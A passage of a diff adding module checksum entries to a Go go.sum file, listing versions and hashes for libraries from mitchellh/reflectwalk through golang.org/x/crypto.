h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= +github.com/mitchellh/reflectwalk v1.0.2/go.mod h1:mSTlrgnPZtwu0c4WaC2kGObEpuNDbx0jmZXqmk4esnw= +github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= +github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= +github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= +github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= +github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= +github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= +github.com/mwitkow/go-conntrack v0.0.0-20190716064945-2f068394615f/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= +github.com/mwitkow/go-proto-validators v0.0.0-20180403085117-0950a7990007/go.mod h1:m2XC9Qq0AlmmVksL6FktJCdTYyLk7V3fKyp0sl1yWQo= +github.com/nsf/termbox-go v0.0.0-20190121233118-02980233997d/go.mod h1:IuKpRQcYE1Tfu+oAQqaLisqDeXgjyyltCfsaoYN18NQ= +github.com/nsf/termbox-go v1.1.1/go.mod h1:T0cTdVuOwf7pHQNtfhnEbzHbcNyCEcVU4YPpouCbVxo= +github.com/o1egl/paseto v1.0.0 h1:bwpvPu2au176w4IBlhbyUv/S5VPptERIA99Oap5qUd0= +github.com/o1egl/paseto v1.0.0/go.mod h1:5HxsZPmw/3RI2pAwGo1HhOOwSdvBpcuVzO7uDkm+CLU= +github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U= +github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY= +github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= +github.com/ory/go-acc v0.2.8/go.mod h1:iCRZUdGb/7nqvSn8xWZkhfVrtXRZ9Wru2E5rabCjFPI= +github.com/ory/viper v1.7.5/go.mod h1:ypOuyJmEUb3oENywQZRgeAMwqgOyDqwboO1tj3DjTaM= +github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= +github.com/pascaldekloe/goe v0.1.0/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= +github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k= +github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= +github.com/pelletier/go-toml v1.8.0/go.mod h1:D6yutnOGMveHEPV7VQOuvI/gXY61bv+9bAOTRnLElKs= +github.com/pelletier/go-toml v1.9.3/go.mod h1:u1nR/EPcESfeI/szUZKdtJ0xRNbUoANCkoOuaOx1Y+c= +github.com/pelletier/go-toml v1.9.5 h1:4yBQzkHv+7BHq2PQUZF3Mx0IYxG7LsP222s7Agd3ve8= +github.com/pelletier/go-toml v1.9.5/go.mod h1:u1nR/EPcESfeI/szUZKdtJ0xRNbUoANCkoOuaOx1Y+c= +github.com/pelletier/go-toml/v2 v2.0.1 h1:8e3L2cCQzLFi2CR4g7vGFuFxX7Jl1kKX8gW+iV0GUKU= +github.com/pelletier/go-toml/v2 v2.0.1/go.mod h1:r9LEWfGN8R5k0VXJ+0BkIe7MYkRdwZOjgMj2KwnJFUo= +github.com/peterh/liner v1.2.1/go.mod h1:CRroGNssyjTd/qIG2FyxByd2S8JEAZXBl4qUrZf8GS0= +github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA= +github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= +github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pkg/sftp v1.10.1/go.mod h1:lYOWFsE0bwd1+KfKJaKeuokY15vzFx25BLbzYYoAxZI= +github.com/pkg/sftp v1.13.1/go.mod h1:3HaPG6Dq1ILlpPZRO0HVMrsydcdLt6HRDccSgb87qRg= +github.com/pmezard/go-difflib v0.0.0-20151028094244-d8ed2627bdf0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI= +github.com/posener/complete v1.2.3/go.mod h1:WZIdtGGp+qx0sLrYKtIRAruyNpv6hFCicSgv7Sy7s/s= +github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= +github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso= +github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo= +github.com/prometheus/client_golang v1.4.0/go.mod h1:e9GMxYsXl05ICDXkRhurwBS4Q3OK1iX/F2sw+iXX5zU= +github.com/prometheus/client_golang v1.7.1/go.mod h1:PY5Wy2awLA44sXw4AOSfFBetzPP4j5+D6mVACh+pe2M= +github.com/prometheus/client_golang v1.11.0/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0= +github.com/prometheus/client_golang v1.11.1/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0= +github.com/prometheus/client_golang v1.12.2 h1:51L9cDoUHVrXx4zWYlcLQIZ+d+VXHgqnYKkIuq4g/34= +github.com/prometheus/client_golang v1.12.2/go.mod h1:3Z9XVyYiZYEO+YQWt3RD2R3jrbd179Rt297l4aS6nDY= +github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo= +github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/prometheus/client_model v0.2.0 h1:uq5h0d+GuxiXLJLNABMgp2qUWDPiLvgCzz2dUR+/W/M= +github.com/prometheus/client_model v0.2.0/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/prometheus/common v0.0.0-20181113130724-41aa239b4cce/go.mod h1:daVV7qP5qjZbuso7PdcryaAu0sAZbrN9i7WWcTMWvro= +github.com/prometheus/common v0.4.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= +github.com/prometheus/common v0.4.1/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= +github.com/prometheus/common v0.9.1/go.mod h1:yhUN8i9wzaXS3w1O07YhxHEBxD+W35wd8bs7vj7HSQ4= +github.com/prometheus/common v0.10.0/go.mod h1:Tlit/dnDKsSWFlCLTWaA1cyBgKHSMdTB80sz/V91rCo= +github.com/prometheus/common v0.26.0/go.mod h1:M7rCNAaPfAosfx8veZJCuw84e35h3Cfd9VFqTh1DIvc= +github.com/prometheus/common v0.32.1 h1:hWIdL3N2HoUx3B8j3YN9mWor0qhY/NlEKZEaXxuIRh4= +github.com/prometheus/common v0.32.1/go.mod h1:vu+V0TpY+O6vW9J44gczi3Ap/oXXR10b+M/gUGO4Hls= +github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= +github.com/prometheus/procfs v0.0.0-20190507164030-5867b95ac084/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= +github.com/prometheus/procfs v0.0.2/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= +github.com/prometheus/procfs v0.0.8/go.mod h1:7Qr8sr6344vo1JqZ6HhLceV9o3AJ1Ff+GxbHq6oeK9A= +github.com/prometheus/procfs v0.1.3/go.mod h1:lV6e/gmhEcM9IjHGsFOCxxuZ+z1YqCvr4OA4YeYWdaU= +github.com/prometheus/procfs v0.6.0/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA= +github.com/prometheus/procfs v0.7.3 h1:4jVXhlkAyzOScmCkXBTOLRLTz8EeU+eyjrwB/EPq0VU= +github.com/prometheus/procfs v0.7.3/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA= +github.com/prometheus/tsdb v0.7.1/go.mod h1:qhTCs0VvXwvX/y3TZrWD7rabWM+ijKTux40TwIPHuXU= +github.com/pseudomuto/protoc-gen-doc v1.4.1/go.mod h1:exDTOVwqpp30eV/EDPFLZy3Pwr2sn6hBC1WIYH/UbIg= +github.com/pseudomuto/protokit v0.2.0/go.mod h1:2PdH30hxVHsup8KpBTOXTBeMVhJZVio3Q8ViKSAXT0Q= +github.com/pseudomuto/protokit v0.2.1/go.mod h1:gt7N5Rz2flBzYafvaxyIxMZC0TTF5jDZfRnw25hAAyo= +github.com/rakyll/statik v0.1.7 h1:OF3QCZUuyPxuGEP7B4ypUa7sB/iHtqOTDYZXGM8KOdQ= +github.com/rakyll/statik v0.1.7/go.mod h1:AlZONWzMtEnMs7W4e/1LURLiI49pIMmp6V9Unghqrcc= +github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= +github.com/robfig/cron v1.2.0/go.mod h1:JGuDeoQd7Z6yL4zQhZ3OPEVHB7fL6Ka6skscFHfmt2k= +github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg= +github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ= +github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= +github.com/rogpeppe/go-internal v1.6.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= +github.com/rogpeppe/go-internal v1.8.0 h1:FCbCCtXNOY3UtUuHUYaghJg4y7Fd14rXifAYUAtL9R8= +github.com/rogpeppe/go-internal v1.8.0/go.mod h1:WmiCO8CzOY8rg0OYDC4/i/2WRWAB6poM+XZ2dLUbcbE= +github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ= +github.com/rs/xid v1.3.0 h1:6NjYksEUlhurdVehpc7S7dk6DAmcKv8V9gG0FsVN2U4= +github.com/rs/xid v1.3.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= +github.com/rs/zerolog v1.13.0/go.mod h1:YbFCdg8HfsridGWAh22vktObvhZbQsZXe4/zB0OKkWU= +github.com/rs/zerolog v1.15.0/go.mod h1:xYTKnLHcpfU2225ny5qZjxnj9NvkumZYjJHlAThCjNc= +github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= +github.com/sagikazarmark/crypt v0.6.0/go.mod h1:U8+INwJo3nBv1m6A/8OBXAq7Jnpspk5AxSgDyEQcea8= +github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0= +github.com/schollz/progressbar/v2 v2.15.0/go.mod h1:UdPq3prGkfQ7MOzZKlDRpYKcFqEMczbD7YmbPgpzKMI= +github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc= +github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4= +github.com/shopspring/decimal v1.2.0/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o= +github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc= +github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo= +github.com/sirupsen/logrus v1.4.1/go.mod h1:ni0Sbl8bgC9z8RoU9G6nDWqqs/fq4eDPysMBDgk/93Q= +github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= +github.com/sirupsen/logrus v1.6.0/go.mod h1:7uNnSEd1DgxDLC74fIahvMZmmYsHGZGEOFrfsX/uA88= +github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc= +github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA= +github.com/soheilhy/cmux v0.1.4/go.mod h1:IM3LyeVVIOuxMH7sFAkER9+bJ4dT7Ms6E4xg4kGIyLM= +github.com/spaolacci/murmur3 v0.0.0-20180118202830-f09979ecbc72/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA= +github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ= +github.com/spf13/afero v1.2.2/go.mod h1:9ZxEEn6pIJ8Rxe320qSDBk6AsU0r9pR7Q4OcevTdifk= +github.com/spf13/afero v1.6.0/go.mod h1:Ai8FlHk4v/PARR026UzYexafAt9roJ7LcLMAmO6Z93I= +github.com/spf13/afero v1.8.2 h1:xehSyVa0YnHWsJ49JFljMpg1HX19V6NDZ1fkm1Xznbo= +github.com/spf13/afero v1.8.2/go.mod h1:CtAatgMJh6bJEIs48Ay/FOnkljP3WeGUG0MC1RfAqwo= +github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE= +github.com/spf13/cast v1.3.1/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE= +github.com/spf13/cast v1.5.0 h1:rj3WzYc11XZaIZMPKmwP96zkFEnnAmV8s6XbB2aY32w= +github.com/spf13/cast v1.5.0/go.mod h1:SpXXQ5YoyJw6s3/6cMTQuxvgRl3PCJiyaX9p6b155UU= +github.com/spf13/cobra v1.0.0/go.mod h1:/6GTrnGXV9HjY+aR4k0oJ5tcvakLuG6EuKReYlHNrgE= +github.com/spf13/cobra v1.2.1 h1:+KmjbUw1hriSNMF55oPrkZcb27aECyrj8V2ytv7kWDw= +github.com/spf13/cobra v1.2.1/go.mod h1:ExllRjgxM/piMAM+3tAZvg8fsklGAf3tPfi+i8t68Nk= +github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo= +github.com/spf13/jwalterweatherman v1.1.0 h1:ue6voC5bR5F8YxI5S67j9i582FU4Qvo2bmqnqMYADFk= +github.com/spf13/jwalterweatherman v1.1.0/go.mod h1:aNWZUN0dPAAO/Ljvb5BEdw96iTZ0EXowPYD95IqWIGo= +github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= +github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= +github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/spf13/viper v1.4.0/go.mod h1:PTJ7Z/lr49W6bUbkmS1V3by4uWynFiR9p7+dSq/yZzE= +github.com/spf13/viper v1.8.1/go.mod h1:o0Pch8wJ9BVSWGQMbra6iw0oQ5oktSIBaujf1rJH9Ns= +github.com/spf13/viper v1.12.0 h1:CZ7eSOd3kZoaYDLbXnmzgQI5RlciuXBMA+18HwHRfZQ= +github.com/spf13/viper v1.12.0/go.mod h1:b6COn30jlNxbm/V2IqWiNWkJ+vZNiMNksliPCiuKtSI= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE= +github.com/stretchr/testify v0.0.0-20170130113145-4d4bfba8f1d1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= +github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= +github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= +github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= +github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= +github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= +github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.7.1 h1:5TQK59W5E3v0r2duFAb7P95B6hEeOyEnHRa8MjYSMTY= +github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw= +github.com/subosito/gotenv v1.3.0 h1:mjC+YW8QpAdXibNi+vNWgzmgBH4+5l5dCXv8cNysBLI= +github.com/subosito/gotenv v1.3.0/go.mod h1:YzJjq/33h7nrwdY+iHMhEOEEbW0ovIz0tB6t6PwAXzs= +github.com/takama/daemon v0.12.0/go.mod h1:PFDPquCi+3LI5PpAKS/8LvJBHTfkdsEXfGtANGx9hH4= +github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U= +github.com/tv42/httpunix v0.0.0-20150427012821-b75d8614f926/go.mod h1:9ESjWnEqriFuLhtthL60Sar/7RFoluCcXsuvEwTV5KM= +github.com/ugorji/go v1.1.4/go.mod h1:uQMGLiO92mf5W77hV/PUCpI3pbzQx3CRekS0kk+RGrc= +github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU= +github.com/xordataexchange/crypt v0.0.3-0.20170626215501-b2862e3d0a77/go.mod h1:aYKd//L2LvnjZzWKhF00oedf4jCCReLcmhLdhm1A27Q= +github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= +github.com/zenazn/goji v0.9.0/go.mod h1:7S9M489iMyHBNxwZnk9/EHS098H4/F6TATF2mIxtB1Q= +go.etcd.io/bbolt v1.3.2/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU= +go.etcd.io/etcd/api/v3 v3.5.0/go.mod h1:cbVKeC6lCfl7j/8jBhAK6aIYO9XOjdptoxU/nLQcPvs= +go.etcd.io/etcd/api/v3 v3.5.4/go.mod h1:5GB2vv4A4AOn3yk7MftYGHkUfGtDHnEraIjym4dYz5A= +go.etcd.io/etcd/client/pkg/v3 v3.5.0/go.mod h1:IJHfcCEKxYu1Os13ZdwCwIUTUVGYTSAM3YSwc9/Ac1g= +go.etcd.io/etcd/client/pkg/v3 v3.5.4/go.mod h1:IJHfcCEKxYu1Os13ZdwCwIUTUVGYTSAM3YSwc9/Ac1g= +go.etcd.io/etcd/client/v2 v2.305.0/go.mod h1:h9puh54ZTgAKtEbut2oe9P4L/oqKCVB6xsXlzd7alYQ= +go.etcd.io/etcd/client/v2 v2.305.4/go.mod h1:Ud+VUwIi9/uQHOMA+4ekToJ12lTxlv0zB/+DHwTGEbU= +go.etcd.io/etcd/client/v3 v3.5.4/go.mod h1:ZaRkVgBZC+L+dLCjTcF1hRXpgZXQPOvnA/Ak/gq3kiY= +go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU= +go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8= +go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= +go.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= +go.opencensus.io v0.22.4/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= +go.opencensus.io v0.22.5/go.mod h1:5pWMHQbX5EPX2/62yrJeAkowc+lfs/XD7Uxpq3pI6kk= +go.opencensus.io v0.23.0/go.mod h1:XItmlyltB5F7CS4xOC1DcqMoFqwtC6OG2xF7mCv7P7E= +go.opentelemetry.io/proto/otlp v0.7.0/go.mod h1:PqfVotwruBrMGOCsRd/89rSnXhoiJIqeYNgFYFoEGnI= +go.uber.org/atomic v1.3.2/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= +go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= +go.uber.org/atomic v1.5.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ= +go.uber.org/atomic v1.6.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ= +go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= +go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0= +go.uber.org/multierr v1.3.0/go.mod h1:VgVr7evmIr6uPjLBxg28wmKNXyqE9akIJ5XnfpiKl+4= +go.uber.org/multierr v1.5.0/go.mod h1:FeouvMocqHpRaaGuG9EjoKcStLC43Zu/fmqdUMPcKYU= +go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU= +go.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee/go.mod h1:vJERXedbb3MVM5f9Ejo0C68/HhF8uaILCdgjnY+goOA= +go.uber.org/zap v1.9.1/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= +go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= +go.uber.org/zap v1.13.0/go.mod h1:zwrFLgMcdUuIBviXEYEH1YKNaOBnKXsx2IPda5bBwHM= +go.uber.org/zap v1.17.0/go.mod h1:MXVU+bhUf/A7Xi2HNOnopQOrmycQ5Ih87HtOu4q5SSo= +golang.org/x/crypto v0.0.0-20180501155221-613d6eafa307/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= +golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= +golang.org/x/crypto v0.0.0-20181025213731-e84da0312774/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= +golang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20190411191339-88737f569e3a/go.mod h1:WFFai1msRO1wXaEeE5yQxYXgSfI8pQAWXbQop6sCtWE= +golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20190820162420-60c769a6c586/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20190923035154-9ee001bba392/go.mod h1:/lpIB1dKB+9EgE3H3cr1v9wB50oz8l4C4h62xy7jSTY= +golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20200510223506-06a226fb4e37/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20201203163018-be400aefbc4c/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I= +golang.org/x/crypto v0.0.0-20210421170649-83a5a9bb288b/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4= +golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/crypto v0.0.0-20220411220226-7b82a4e95df4/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= +golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e h1:T8NU3HyQ8ClP4SEE+KbFlg6n0NhuTsN4MyznaarGsZM= +golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e/go.mod 